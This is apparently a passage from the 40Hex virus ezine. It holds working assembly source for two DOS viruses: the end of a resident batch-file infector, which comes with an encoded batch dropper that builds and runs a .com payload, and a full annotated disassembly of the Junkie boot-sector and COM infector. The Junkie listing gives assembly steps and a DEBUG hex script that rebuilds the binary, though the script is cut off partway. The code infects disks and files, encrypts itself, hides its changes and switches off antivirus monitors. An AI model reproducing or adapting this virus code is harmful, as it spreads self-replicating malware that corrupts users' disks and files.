                db      'XYZ??U?S?  2??H???,A??Mt???t???>',0ba,'.com',0Dh,0A
                db      '@echo ???2?YP????????2???PS?DB??DA?'
endline:        db      '>>',0ba,'.com',0Dh,0A
; The next line is to ease the coding. This way, the same number of statements
; pass between the running of the temporary program and the reloading of the
; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running
; the temporary file installs the virus into memory. Note the following lines
; are never seen by the command interpreter if the virus is already resident.
enddecoder:     db      '@if %0. == . ',0ba,0Dh,0A
                db      '@',0ba,0Dh,0A
                db      '@del ',0ba,'.com',0Dh,0A
; The next line is necessary because autoexec.bat is loaded with %0 == NULL
; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT,
; which would be a shame.
                db      '@if %0. == . autoexec',0Dh,0A
                db      '@%0',0Dh,0A
endcleanup:

chain_i13:      push    [bp+6]
                call    dword ptr cs:old_i13
                pushf
                pop     [bp+6]
                ret

call_i13:       pushf
                call    dword ptr cs:old_i13
                ret

write:          mov     ah,40
calli21:        pushf
                call    dword ptr cs:old_i21
                ret

check_signature:and     word ptr es:[di+15],0
                push    es di cs cs
                pop     ds es
                mov     ah,3f
                cwd                             ; mov dx,offset our_buffer
                mov     cx,enddecoder - decoder
                call    calli21

                cld
                mov     si,offset decoder
                mov     di,dx
                mov     cx,enddecoder - decoder
                rep     cmpsb

                pop     di es
                ret


i13:            clc                             ; this is patched to
                jnc     i13_patch               ; disable the i13 handler
                jmp     disabled_i13            ; this is a stupid hiccup

i13_patch:      clc                             ; this is patched to once
                jc      multipartite_installed  ; i21 is installed

                push    ax bx ds es

                mov     ax,0AA55                ; offset 02FE of the virus
                                                ; this is the PT signature

                xor     ax,ax
                mov     es,ax

                lds     bx,es:84
                mov     ax,ds
                cmp     ax,cs:old_i21+2
                jz      not_DOS_yet
                or      ax,ax                   ; Gets set to address in zero
                jz      not_DOS_yet             ; segment temporarily. ignore.
                cmp     ax,800
                ja      not_DOS_yet
                cmp     ax,es:28*4+2            ; make sure int 28 handler
                jnz     not_DOS_yet             ; the same (OS == DOS?)
                cmp     bx,cs:old_i21
                jz      not_DOS_yet
install_i21:    push    cs
                pop     ds
                mov     ds:old_i21,bx
                mov     ds:old_i21+2,ax
                mov     es:84,offset i21
                mov     es:86,cs
                inc     byte ptr ds:i13_patch
not_DOS_yet:    pop     es ds bx ax
multipartite_installed:
                push    bp
                mov     bp,sp

                cmp     cx,sector_length + 1    ; working on virus area?
                ja      jmp_i13

                cmp     dx,80
                jnz     jmp_i13

                cmp     ah,2                    ; reading partition table?
                jz      stealth_i13
not_read:       cmp     ah,3                    ; write over partition table?
                jnz     jmp_i13
                call    infect_hd

                push    si cx bx ax

                mov     al,1

                cmp     cl,al                   ; are we working on partition
                jnz     not_write_pt            ; table at all?

                mov     cx,sector_length + 1
                call    chain_i13
                jc      alt_exit_i13

not_write_pt:   pop     ax
                push    ax

                cbw
                sub     al,sector_length + 2    ; calculate number of remaining
                add     al,cl                   ; sectors to write
                js      alt_exit_i13
                jz      alt_exit_i13

                push    cx
                sub     cx,sector_length + 2    ; calculate number of sectors
                neg     cx                      ; skipped
addd:           add     bh,2                    ; and adjust buffer pointer
                loop    addd                    ; accordingly
                pop     cx

                or      ah,1                    ; ah = 1 so rest_stealth makes
                jmp     short rest_stealth      ; it a write

jmp_i13:        pop     bp
disabled_i13:   jmp     dword ptr cs:old_i13

stealth_i13:    push    si cx bx ax
                call    infect_hd

                mov     si,bx

                mov     al,1

                cmp     cl,al
                jnz     not_read_pt

                mov     cx,sector_length + 1
                call    chain_i13
                jc      alt_exit_i13

                add     bh,2                            ; adjust buffer ptr

not_read_pt:    pop     ax
                push    ax
                push    di ax
                mov     di,bx
                mov     ah,0
                add     al,cl

                cmp     al,sector_length + 2
                jb      not_reading_more
                mov     al,sector_length + 2
not_reading_more:cmp    cl,1
                jnz     not_pt
                dec     ax
not_pt:         sub     al,cl
                jz      dont_do_it                      ; resist temptation!

                mov     cl,8
                shl     ax,cl                           ; zero out sectors
                mov     cx,ax
                cbw                                     ; clear ax
                rep     stosw
                mov     bx,di                           ; adjust buffer

dont_do_it:     pop     ax di
                mov     ah,0

                mov     cl,9
                sub     si,bx
                neg     si
                shr     si,cl
                sub     ax,si
                jz      alt_exit_i13

rest_stealth:   sub     ax,-200
                mov     cx,sector_length + 2
                call    chain_i13

alt_exit_i13:   pop    bx
                mov    al,bl
                pop    bx cx si bp
                iret

i24:            mov     al,3
                iret

chain_i21:      push    [bp+6]                  ; push flags on stack again
                call    dword ptr cs:old_i21
                pushf                           ; put flags back onto caller's
                pop     [bp+6]                  ; interrupt stack area
                ret

infect_bat:     mov     cx,200                  ; conquer the holy batch file!
move_up:        sub     bp,cx
                jns     $+6
                add     cx,bp
                xor     bp,bp
                mov     es:[di+15],bp           ; move file pointer

                mov     ah,3f                   ; read in portion of the file
                mov     dx,offset big_buffer
                call    calli21

                add     word ptr es:[di+15],viruslength
                sub     word ptr es:[di+15],ax
                call    write                   ; move the data up

                or      bp,bp
                jnz     move_up

move_up_done:   mov     word ptr es:[di+15],bp  ; go to start of file

                mov     cx,enddecoder - decoder
                mov     dx,offset decoder
                call    write

                push    es di cs
                pop     es

                mov     bp,heap - blah
                mov     si,offset blah
encode_lines:   mov     di,offset line
                mov     cx,20
encode_line:    lodsb
                push    ax
                and     ax,0F0
                inc     ax
                stosb
                pop     ax
                and     ax,0F
                add     al,'A'
                stosb
                dec     bp
                jz      finished_line
                loop    encode_line

finished_line:  mov     cx,6
                mov     dx,offset decoder
                call    write

                mov     cx,di
                mov     dx,offset line
                sub     cx,dx
                call    write

                mov     cx,enddecoder-endline
                mov     dx,offset endline
                call    write

                or      bp,bp
                jnz     encode_lines

                pop     di es

                mov     cx,endcleanup - enddecoder
                mov     dx,offset enddecoder
                call    write

                ret

; check neither extension nor timestamp in case file was renamed or
; something like that

; will hang without this stealth because of the line
; @%0 that it adds to batch files
handle_read:    push    es di si ax cx dx ds bx

                xor     si,si

                cmp     cs:init_flag,0
                jnz     dont_alter_read

                mov     ax,1220
                int     2f
                jc      dont_alter_read

                xor     bx,bx
                mov     bl,es:di
                mov     ax,1216
                int     2f                      ; es:di now -> sft
                jc      dont_alter_read

                pop     bx                      ; restore the file handle
                push    bx

                push    es:[di+15]              ; save current offset

                call    check_signature
                mov     si,viruslength
                pop     bx
                jz      hide_read
                xor     si,si
hide_read:      add     bx,si
                mov     es:[di+15],bx
dont_alter_read:pop     bx ds dx cx ax

                call    chain_i21

                sub     es:[di+15],si

                pop     si di es
_iret:          pop     bp
                iret

handle_open:    cmp     cs:init_flag,0
                jz      keep_going
                dec     cs:init_flag
keep_going:     call    chain_i21
                jc      _iret
                push    ax cx dx bp si di ds es

                xchg    si,ax                   ; filehandle to si

                mov     ax,3524
                int     21
                push    es bx                   ; save old int 24 handler

                xchg    bx,si                   ; filehandle back to bx
                push    bx
                mov     si,dx                   ; ds:si->filename

                push    ds
                mov     ax,2524                 ; set new int 24 handler
                push    cs
                pop     ds
                mov     dx,offset i24
                call    calli21
                pop     ds

                cld

find_extension: lodsb                           ; scan filename for extension
                or      al,al                   ; no extension?
                jz      dont_alter_open
                cmp     al,'.'                  ; extension?
                jnz     find_extension

                lodsw                           ; check if it's .bat
                or      ax,2020
                cmp     ax,'ab'
                jnz     dont_alter_open
                lodsb
                or      al,20
                cmp     al,'t'
                jnz     dont_alter_open

                mov     ax,1220                 ; if so, get jft entry
                int     2f
                jc      dont_alter_open

                xor     bx,bx
                mov     bl,es:di
                mov     ax,1216                 ; now get SFT
                int     2f
                jc      dont_alter_open

                pop     bx                      ; recover file handle
                push    bx

                mov     bp,word ptr es:[di+11]  ; save file size
                or      bp,bp
                jz      dont_alter_open

                mov     byte ptr es:[di+2],2    ; change open mode to r/w
                mov     ax,word ptr es:[di+0dh] ; get file time
                and     ax,not 1f               ; set the seconds field
                or      ax,1f
                mov     word ptr es:[di+0dh],ax

                call    check_signature
                jz      dont_alter1open         ; infected already!

                call    infect_bat

dont_alter1open:or      byte ptr es:[di+6],40   ; set flag to set the time
                and     word ptr es:[di+15],0
                mov     byte ptr es:[di+2],0    ; restore file open mode
dont_alter_open:pop     bx dx ds
                mov     ax,2524
                call    calli21
                pop     es ds di si bp dx cx ax bp
                iret

findfirstnext:  call    chain_i21               ; standard file length
                push    ax bx si ds es          ; hiding
                cmp     al,-1
                jz      dont_alter_fffn

                mov     ah,2f                   ; get the DTA to es:bx
                int     21
                push    es
                pop     ds
                cmp     byte ptr [bx],-1
                jnz     not_extended
                add     bx,7
; won't hide if extension is changed, but otherwise gives it away by disk
; accesses
not_extended:   cmp     word ptr [bx+9],'AB'
                jnz     dont_alter_fffn
                cmp     byte ptr [bx+0bh],'T'
                jnz     dont_alter_fffn
                cmp     word ptr [bx+1dh],viruslength
                jb      dont_alter_fffn
                mov     al,[bx+17]
                and     al,1f
                cmp     al,1f
                jnz     dont_alter_fffn
                and     byte ptr [bx+17],not 1f
                sub     word ptr [bx+1dh],viruslength
dont_alter_fffn:pop     es ds si bx ax bp
                iret

inst_check:     cmp     bx,0f904
                jnz     jmp_i21
                push    si di cx
                mov     si,offset blah
                mov     di,100
                mov     cx,offset i13 - offset blah
                db      2e
                rep     cmpsb
                jnz     not_inst

                inc     byte ptr cs:i13         ; disable existing copy of
                inc     byte ptr cs:i21         ; the virus

not_inst:       pop     si di cx
                jmp     short jmp_i21
i21:            clc
                jc      disabled_i21
                push    bp
                mov     bp,sp
                cmp     ah,11
                jz      findfirstnext
                cmp     ah,12
                jz      findfirstnext
                cmp     ah,62
                jz      inst_check
                cmp     ax,3d00
                jnz     not_open
                jmp     handle_open
not_open:       cmp     ah,3f
                jnz     jmp_i21
                jmp     handle_read


jmp_i21:        pop     bp
disabled_i21:   db      0ea                     ; call original int 21
heap: ; g
old_i21         dw      ?, ?                    ; handler
old_i13         dw      ?, ?
init_flag       db      ?

end_zopy:
                org     100 + ((end_zopy - blah + 1ff) / 200) * 200
orig_PT         db      200 dup (?)
big_buffer      db      200 dup (?)
end_all:

                end     blah

; The complimentary decoder included with every copy of blah

                .model  tiny
                .code
                .radix  16
                org     100

decode:         db      '?PSBAT!?'      ; translates to some random code

                mov     di,offset buffer
                db      0bdh    ; mov bp, datasize
datasize        dw      'Y0'

                db      'XYZ'           ; more text that is also code

                neg     bp
                push    bp
                mov     si,offset databytes
keep_going:     mov     cx,2020
                xor     ch,cl
decode_line:    lodsb
                dec     ax              ; tens digit
                mov     bx,ax
                lodsb
                sub     al,'A'
                add     ax,bx
                stosb

                dec     bp
                jz      all_done
                loop    decode_line
all_done:       or      bp,bp
                jz      no_more
                lodsw                   ; skip CRLF
                jmp     keep_going

                db      0Dh,0A          ; split file into two lines

no_more:        mov     ax,0fcfc
                xor     ah,al
                pop     cx              ; how many bytes to move
                push    ax
                xchg    ax,di
                mov     ax,0a4f3
                stosw
                mov     ax,0ebebh       ; flush prefetch queue
                xor     ah,al
                stosw

                mov     si,offset buffer
                mov     di,100 + 4144
                sub     di,'AD'

                retn

                db      0Dh,0Ah         ; split the file s'more

databytes:

                org     5350            ; 50/53 == P/S
buffer:

                end     decode
------
@echo ?PSBAT!??PS???XYZ??U?S?  2??H???,A??Mt???t???>?.com
@echo ???2?YP????????2???PS?DB??DA?>>?.com
@echo 1D?N1D?G?B1M?N!AqE!AAFQG?KH?M?O?P?L?IDC?O?G?LAqO?JCA?K?AA>>?.com
@echo ?ND?KA?I?K1OB?AH?KE?J?EaC?N!BAL?O?L?BaMD?AA?BaMC?AA!O?I>>?.com
@echo GKG!O?I1G?GC?O?O?LGDE?D?KD?JGDE?BG?D?C?EG?EA!O?DC>>?.com
@echo G!O?MGEG?EGAMA!O?DGG!O?MGIG?O?COP?OAB?L?O?J?OC?D>>?.com
@echo ?F?O?B!G?HGAMA?AC!G?JGAOAL?NqEE?IBC1D?J?K?AA?O?BAB?LA>>?.com
@echo qM?MGQD?PaOAL!G?HG?EA?LF!G?JG?GAQAQBQCQDOGOOHP?IBC>>?.com
@echo ?LAH?JBA?K?AA?I?CA!O?B1OJIAAaFqEK?A?AI?ILG?CIqFH?A>>?.com
@echo 1O?BIEqGJ?IED?LAB?I?PAHPQLQKQJQI?DACaMaBaI!AqGaJqCqFqD>>?.com
@echo A!IAEAB!PQAQD!JAAAaFaDaIaP!A?IQAQDACABQE!B?I?PQAQD?N?O?KQIQJQK>>?.com
@echo ?H?NQF?OQDB?J!A!A1C?J?MAI?L?I?M!MABD?D?KANqEC?C?BL?NqEF?N?L>>?.com
@echo ?F1O?K!OaDaPaNNKAAaFaDaIaP!A?I?M?M1C?AQJQA?H?I?D?E?L?I?L?L1C?A>>?.com
@echo ?L?OQAQD?PAEAC?B?PAEAB?D1O1O?K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>>?.com
@echo !O!A?KNKAA?KNKAAaEaFaM!A?K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>>?.com
@echo !O!AaBqFqEaPaFqIaFaDNKAA!F1ANK?PqGG!O?POGG?M?PAGG?D?M!O>>?.com
@echo ?POGG?D?EAA?M!O?POCG?D!G?DaFFAGQHOOPH?E1P?J?JaMA?I>>?.com
@echo ?F?P?M?OJC?L?K?JaMA?D?GQPH?D?IqDD?J?KA?JqCANQAQDOG?IQF?K>>?.com
@echo 1D?A?O?A!G?FO?EA?M?I!O1LGEGqE1AL?AqE!M1NAIqH!H!G1LG?CA>>?.com
@echo qF!A!O1LOCGqEJOP?JOCG?DEG!G?HG?EA?LF!G?MO?GA?OG>>?.com
@echo ?GCHPQLQIQF?L?M?D?JEqHAB?B?K?AAqF1L?A?MCqE1M?A?MDqF1B?IQC>>?.com
@echo ?OQGQBQDQA?AB1K?IqFI?JEA?IAA?PqCqKQIQA?I!MFC?BqIqBqEaPQB?D>>?.com
@echo ?JF?H?J?A?HC?C?LQJ?A?MB?LQFQN!O?P!OGGQGQBQDQA?IH?O?L?D?AB>>?.com
@echo 1K?IqFL?JEA?IH?PqCAB?A?HCQIQAQHQA?L?L?EAC?B1MFqCC?AF?A>>?.com
@echo ?JBqFBAI!K?BqEL?BI?D?A?L?I?I?D?L?L?PQIQP?EA?BJ!L?D?H?O?D?O>>?.com
@echo !L?GqEJ!NA?O?JFA?I?E?OQL?K?DQLQJQOQN?P?AD?P?PqGG!O?POCG>>?.com
@echo ?M?PAGG?D?JAC!L?JqJED?N1D?N!G?JaNF?E1P?KAJ?I?L?O!G?BAFF>>?.com
@echo 1DN!G!JAFF?I?M?OL?NqF?L!G?JaNF?JaMA?KJC?I?L?OGQHOH?NC>>?.com
@echo F?OAB?P?AA?J!AA?MQA!F?AAAA?KQI!FPAEAB?KANqEC?C?N?JGA>>?.com
@echo ?KJC?IQP?O?L?P?K?AA!L?K?IQF?O?JJA?KaMC?IAM?OL?NqF?HQPH?J>>?.com
@echo 1MA?KqFC?I1N?O?DGQHQGQAQBQCOQD1D?G!O?A1OKGAqF!K?I!AC?N!P>>?.com
@echo qC!D1D?L!G?KN?IGC?N!PqCHQLQD!G?PqFF?IH?O?O1DNQLqEC1D?GD>>?.com
@echo ?O!G?JQNFQLPQKQJQI?I!L?P!G!JqFFQOQPHQN?P!O?A1OKGAqEF!O?O>>?.com
@echo OKG?IC?PqC?MQAQBQCQFQGQHOG?G?I!E1F?N!BGQD?H?OQD?L?CO?I!E>>?.com
@echo !FOP?K?FD?I?O?NP?M?MK?AqEQL1M!OqF?H?NN!A!A1NaCaBqFAO?MM!A>>?.com
@echo 1MqEqFAH?I!AC?N!PqCAA1D?L!G?KN?IGC?N!PqC1EQLQD!G?LaNBL?NqE>>?.com
@echo !K!G?GAFCC!G?LAFN!F?A?PNPA!G?JAFN?IqH?NqED?I?J?O!G?AANG>>?.com
@echo AA!G?DaFFA!G?GAFCAQLQKP?I!E!F?IQD?NHPQPQOQNQKQJQIQN?P?IqH>>?.com
@echo ?OQAQDQGOG1M?PqE1E?E!P?N!BGP?A1P?PqFD?D?DH?BqPJACABqFP?A>>?.com
@echo qPLQEqFJ?BqPN1DNqCC?KAHH!EP1MPqFJ?AaHH?A?BaPN1DNHP>>?.com
@echo QOQLQIQN?P?B?LE?JqFAFQGQHQB?OAB?PAB?J?AB!O?D?GqFK!O?OG?A>>?.com
@echo C!O?OG?LFQOQPQJ?L!F?IqC!DQF?L?M?A?MBqE?I?A?MCqE?D?A?MaCqE?F>>?.com
@echo 1NA1NqFD?J?O?O?A?M1PqFD?JqJ?OQN?K>>?.com
@if %0. == . ?
@?
@del ?.com
@if %0. == . autoexec
@%0
@echo Beware.....PLURG!
------

40Hex Number 14 Volume 5 Issue 1                                      File 006

        Junkie virus

        The Junkie virus is an unremarkable boot sector/COM infector that
        has been making the rounds recently. There isn't really that much
        to say about it, except that it sports a lot of poor coding that
        manages to somehow work despite its shortcomings.

        Dark Angel
        Phalcon/Skism

---------------------------
                .model  tiny
                .code
                .radix  16
                org     0
; Junkie virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1
; Byte for byte match when assembled with TASM 2.5
; To assemble, do the following:
;       tasm /m junkie.asm
;       tlink junkie.obj
;       exe2bin junkie.exe junkie.com
junkie:         mov     si,1234                 ; if loading from the boot
                org     $ - 2                   ; sector, loaded at 0:7E00
decrypt_start   dw      offset begin_crypt + 100
                mov     cx,1F4
decrypt_loop:   xor     word ptr es:[si],1234
                org     $-2
cryptval        dw      0
                inc     si
                inc     si
                loop    decrypt_loop

begin_crypt:    mov     ax,cs
                cmp     ax,0
                je      in_boot
                mov     di,100
                mov     word ptr [di],1234      ; restore original first 4
                org     $ - 2                   ; bytes to the COM file
orig4_1         dw      20CDh
                mov     word ptr [di+2],1234
                org     $ - 2
orig4_2         dw      0
                push    cs di                   ; push cs:100
                call    delta
delta:          pop     bx
                sub     bx,delta - junkie       ; sub bx,27
                mov     cl,4
                shr     bx,cl
                add     ax,bx
                push    ax
                mov     ax,offset highentry
                push    ax
                retf

in_boot:        mov     ds,di
                pop     si
                sub     word ptr ds:413,3       ; reserve 3K for virus
                mov     ax,ds:413
                mov     bx,40                   ; convert to K
                mul     bx
                mov     es,ax                   ; virus segment = es
                mov     cx,200                  ; move virus up
                cld
                rep     movsw

                cli
                mov     di,offset old_i13
                mov     si,13*4
                mov     ax,offset i13
                call    swap_int

                mov     es:check_i21_flag,0

                mov     di,offset old_i1c
                mov     si,1c*4
                mov     ax,offset i1c
                call    swap_int                ; timer ticks
                sti

                mov     di,offset old_i21       ; save original int 21
                mov     si,21*4                 ; handler address
                movsw
                movsw
                pop     di                      ; di = 7C00

                push    cs di es
                mov     ax,offset boot_finish
                push    ax cs
                pop     es
                mov     si,7C00 + 200 + BS_first_word - junkie
                movsw                           ; restore first word
                db      83,0C7h,5E ; add di,5E  ; restore original BS code
                call    copy_20
                retf                            ; jmp to boot_finish

                db      'DrW-3'

i13:            cmp     ax,0201                 ; read?
                jnz     jmp_i13
                db      83,0F9h,1 ; cmp cx,1    ; boot sector?
                jnz     jmp_i13
                db      83,0FAh,0 ; cmp dx,0    ; ditto
                jnz     jmp_i13
                push    ax bx cx dx di si ds es ; pusha, in a way
                call    infect_disk             ; if so, infect the disk
                pop     es ds si di dx cx bx ax ; popa, of sorts
jmp_i13:        jmp     dword ptr cs:old_i13

old_i13         dw      0, 0

call_i13:       pushf
                call    dword ptr cs:old_i13
                retn

highentry:      call    uninstall_VSAFE
                push    ds es
                xor     ax,ax
                mov     ds,ax
                push    cs
                pop     es
                mov     di,offset old_i13       ; get original int 13
                mov     si,13*4                 ; handler address
                cld
                movsw
                movsw
                jmp     short COM_finish
                nop ; Why does this still happen?
boot_finish:    push    ds es
COM_finish:     mov     dl,80                   ; infect the hard drive
                mov     ah,2
                call    infect_disk
                pop     es ds
                xor     ax,ax
                xor     bx,bx
                retf                            ; return to carrier

infect_disk:    push    cs
                pop     ds
                push    cs
                pop     es
                call    disk
                jc      inf_disk_exit
                mov     di,offset buffer + 60
                cmp     word ptr [si],5EEBh     ; check if we're already
                jne     not_in_boot_yet         ; in the boot sector
                cmp     word ptr [di],0FF33     ; xor di,di
                je      inf_disk_exit
not_in_boot_yet:cmp     dl,0                    ; first disk drive?
                jne     hard_disk               ; if not, assume hard drive
                cmp     byte ptr ds:[buffer+15],0F0  ; else check media byte
                je      little_floppy           ; to see if it is a 3.5" drive
                cmp     byte ptr ds:[buffer+15],0F9h ; 5.25" drive?
                jne     inf_disk_exit
large_floppy:   mov     cl,8                    ; sector 8
                jmp     short floppy_disk
                nop ; more NOP's for your money
little_floppy:  mov     ax,40
                mov     ds,ax
                cmp     byte ptr ds:90,97       ; check disk 0 status
                je      large_floppy
                mov     cl,11                   ; write to last sector
floppy_disk:    push    cs
                pop     ds
                mov     ch,4F                   ; write to last track
                jmp     short floppy_setup
                nop ; blah

hard_disk:      mov     cx,4                    ; write to slack area on hd
                jmp     short write_to_disk
                nop ; #$@*

floppy_setup:   mov     dh,1                    ; head 1
write_to_disk:  mov     load_cx,cx              ; remember where the rest of
                mov     load_dx,dx              ; junkie will be written to
                push    dx cx si di
                mov     di,offset BS_first_word ; save old boot sector JMP
                movsw                           ; construct
                pop     si                      ; si -> buffer+60
                call    copy_20                 ; save old boot sector code
                mov     si,di                   ; si -> JBS_first_word
                pop     di                      ; di -> buffer
                movsw                           ; encode our JMP to boot sector
                call    add_copy_20             ; write our code there

                mov     ax,301h                 ; write new BS to the disk
                push    ax
                call    disk

                pop     ax cx dx
                mov     al,2                    ; junkie is two sectors long
                mov     bx,offset buffer        ; write it encrypted to disk
                jc      inf_disk_exit
                mov     decrypt_start,7E00 + (begin_crypt - junkie)
                call    encrypt
                call    call_i13
inf_disk_exit:  retn

disk:           mov     cx,1
                mov     dh,0
                mov     al,1
                mov     bx,offset buffer        ; read/write to/from our buffer
                mov     si,bx
                push    dx
                call    call_i13
                pop     dx
                retn

add_copy_20:    db      83,0C7h,5E ; add di,5E  ; move from first word to
                                                ; our code in boot sector
copy_20:        cld
                mov     cx,10
                rep     movsw
                retn

swap_int:       push    si
                movsw
                movsw
                pop     si
                mov     [si],ax
                mov     [si+2],es
                retn

encrypt:        push    es ds ax bx cx dx si di
                cld
                xor     ax,ax                   ; get timer count
                int     1Ah

                xor     dx,cx                   ; more time stuff
                mov     bx,dx
                mov     ah,2
                int     1Ah

                mov     dl,cl                   ; to calculate an encryption
                xor     bx,dx                   ; value (this is overkill!)
                mov     cryptval,bx

                push    cs
                pop     es
                mov     si,offset junkie
                mov     di,offset buffer
                mov     cx,200
                rep     movsw                   ; copy virus to the buffer

                mov     di,offset buffer        ; and encrypt there
                add     di,begin_crypt - junkie
                mov     cx,(buffer - junkie) / 2; encrypting too much!
encrypt_loop:   xor     [di],bx
                inc     di
                inc     di
                loop    encrypt_loop

popa_exit:      pop     di si dx cx bx ax ds es
                retn

uninstall_VSAFE:push    es ds ax bx cx dx si di
                mov     dx,5945                 ; uninstall VSAFE/VWATCH
                mov     ax,0FA01
                int     16
                jmp     short popa_exit

i1c:            cmp     cs:check_i21_flag,1
                je      jmp_i1c
                push    ds es ax si di
                mov     si,21*4
                xor     ax,ax
                mov     ds,ax
                mov     ax,ds:20*4+2            ; get segment of int 20 handler
                cmp     ax,800                  ; is it too high?
                ja      i1c_exit
                cmp     ax,0                    ; or not set yet?
                je      i1c_exit
                cmp     [si+2],ax               ; is segment of int 21 handler
                jne     i1c_exit                ; the same?
                cmp     ds:27*4+2,ax            ; same with int 27 handler
                jne     i1c_exit                ; i.e. make sure it's dos!
                cli
                mov     di,offset old_i21
                push    cs
                pop     es
                mov     ax,offset i21
                call    swap_int
                mov     cs:check_i21_flag,1
                sti
i1c_exit:       pop     di si ax es ds
jmp_i1c:        jmp     dword ptr cs:old_i1c

old_i1c         dw      0FF53, 0F000

i21:            cmp     ax,4B00                 ; infect on: execute,
                jz      infect_file
                cmp     ah,3Dh                  ; open,
                jz      infect_file
                cmp     ah,6C                   ; extended open
                jz      infect_file
jmp_i21:        jmp     dword ptr cs:old_i21

i24:            mov     al,3
                iret

infect_file:    push    ax bx cx dx di si ds es
                cmp     ah,6Ch                  ; extended open?
                jne     ptr_is_ds_dx
                mov     dx,si                   ; now ds:ds -> filename
ptr_is_ds_dx:   call    uninstall_VSAFE
                mov     cx,ax
                xor     ax,ax
                push    ds
                mov     ds,ax
                les     ax,dword ptr ds:24*4    ; get old crit error handler
                mov     word ptr ds:24*4,offset i24
                mov     word ptr ds:24*4+2,cs   ; replace with ours
                pop     ds
                push    es ax                   ; save the old one for later

                mov     ax,3D00                 ; open the file read/only
                pushf
                call    dword ptr cs:old_i21
                jc      infect_file_exit

                push    cs
                pop     ds

                mov     bx,ax
                push    bx
                mov     ax,1220
                int     2F
                mov     ax,1216
                mov     bl,es:[di]
                int     2F                      ; es:di -> sft
                pop     bx
                jc      close_exit

                cmp     word ptr es:[di+28h],'OC'; infect only *.CO?
                je      infect_COM
                jmp     short close_exit
                nop     ; Yuck!
infect_COM:     push    es di
                mov     word ptr es:[di+2],2    ; set open mode to read/write
                call    infect
                pop     di es
                or      byte ptr es:[di+6],40   ; preserve file time/date

close_exit:     mov     ah,3Eh                  ; close file
                int     21

infect_file_exit:
                xor     si,si
                mov     ds,si
                pop     ax
                pop     es
                mov     ds:24*4,ax              ; restore int 24 handler
                mov     word ptr ds:24*4+2,es
                pop     es ds si di dx cx bx ax
                jmp     jmp_i21

infect:         call    move_SOF
                mov     cx,1Dh                  ; reading in more than we need!
                mov     ah,3F
                mov     dx,offset com_header
                int     21
                jc      infect_exit

                call    go_EOF
                mov     cx,10
                div     cx
                db      83,0FAh,3 ; cmp dx,3
                jz      infect_exit
                mov     cx,[com_header]         ; move first four bytes to
                mov     dx,[com_header+2]       ; the patch area
                mov     orig4_1,cx
                mov     orig4_2,dx
                call    go_EOF
                cmp     ax,1000                 ; too small?
                jb      infect_exit
                cmp     ax,0EA60                ; too large?
                ja      infect_exit
                call    round_paragraph
                push    ax
                add     ax,100 + offset begin_crypt - offset junkie
                mov     decrypt_start,ax
                pop     ax
                mov     byte ptr com_header,0E9h
                sub     ax,3
                mov     word ptr com_header+1,ax

                mov     ah,40                   ; writing more than we need!
                mov     cx,end_junkie - junkie
                mov     dx,offset buffer
                call    encrypt
                int     21
                jc      infect_exit

                mov     al,0                    ; go to the start of the file
                call    move_SOF
                mov     dx,offset com_header    ; patch beginning of COM file
                mov     cx,4
                mov     ah,40
                int     21
infect_exit:    retn

round_paragraph:mov     ah,al
                mov     al,10
                sub     al,ah
                and     ax,0F
                mov     dx,ax
                mov     al,1
                jmp     short move_fpointer
                nop ; MASM NOP!

go_EOF:         mov     al,2
move_SOF:       xor     dx,dx
move_fpointer:  xor     cx,cx
                mov     ah,42h
                int     21
                retn

old_i21         dw      0, 0
                dw      0               ; unused
check_i21_flag  db      1

                db      0, 'Dr White - Sweden 1994'

BS_first_word   dw      0

old_BS_code     db      20 dup (0)              ; storage for original boot
                                                ; sector code from offset
                                                ; 60 to 80
JBS_first_word  dw      05EEBh

start_Jboot:    xor     di,di
                mov     si,7C00
                cli
                mov     sp,si                   ; set the stack to 7C00:7C00
                mov     ss,di
                sti
                mov     es,di                   ; es = 7C00 (junkie work seg)
                mov     ax,202h                 ; read junkie into memory
                mov     bx,7C00 + 200           ; starting at 0:7E00
                mov     cx,4
                org     $ - 2
load_cx         dw      4
                mov     dx,80
                org     $ - 2
load_dx         dw      80
                push    si bx                   ; push 0:7C00
                int     13
; the next line loads at offset 7C80 - 3
                jmp     $+3+200-80              ; jmp to 7E00 (decryptor)
end_Jboot:      ; ($ - start_Jboot = 20)

                db      'Junkie Virus - Written in Malmo...M01D'

                dw      -1                      ; unused

com_header      dw      0, 0
buffer:         db      1bh dup (0)
end_junkie:
                end     junkie
---------------------------
N junkie.com
E 0100  BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C
E 0110  C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02
E 0120  00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03
E 0130  C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1
E 0140  13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA
E 0150  BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60
E 0160  03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF
E 0170  5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E
E 0180  07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D
E 0190  33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13
E 01A0  50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A
E 01B0  59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E
E 01C0  B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8
E 01D0  00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02
E 01E0  E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F
E 01F0  00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF
E 0200  74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E
E 0210  FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80
E 0220  3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9
E 0230  04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52
E 0240  51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8
E 0250  30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8
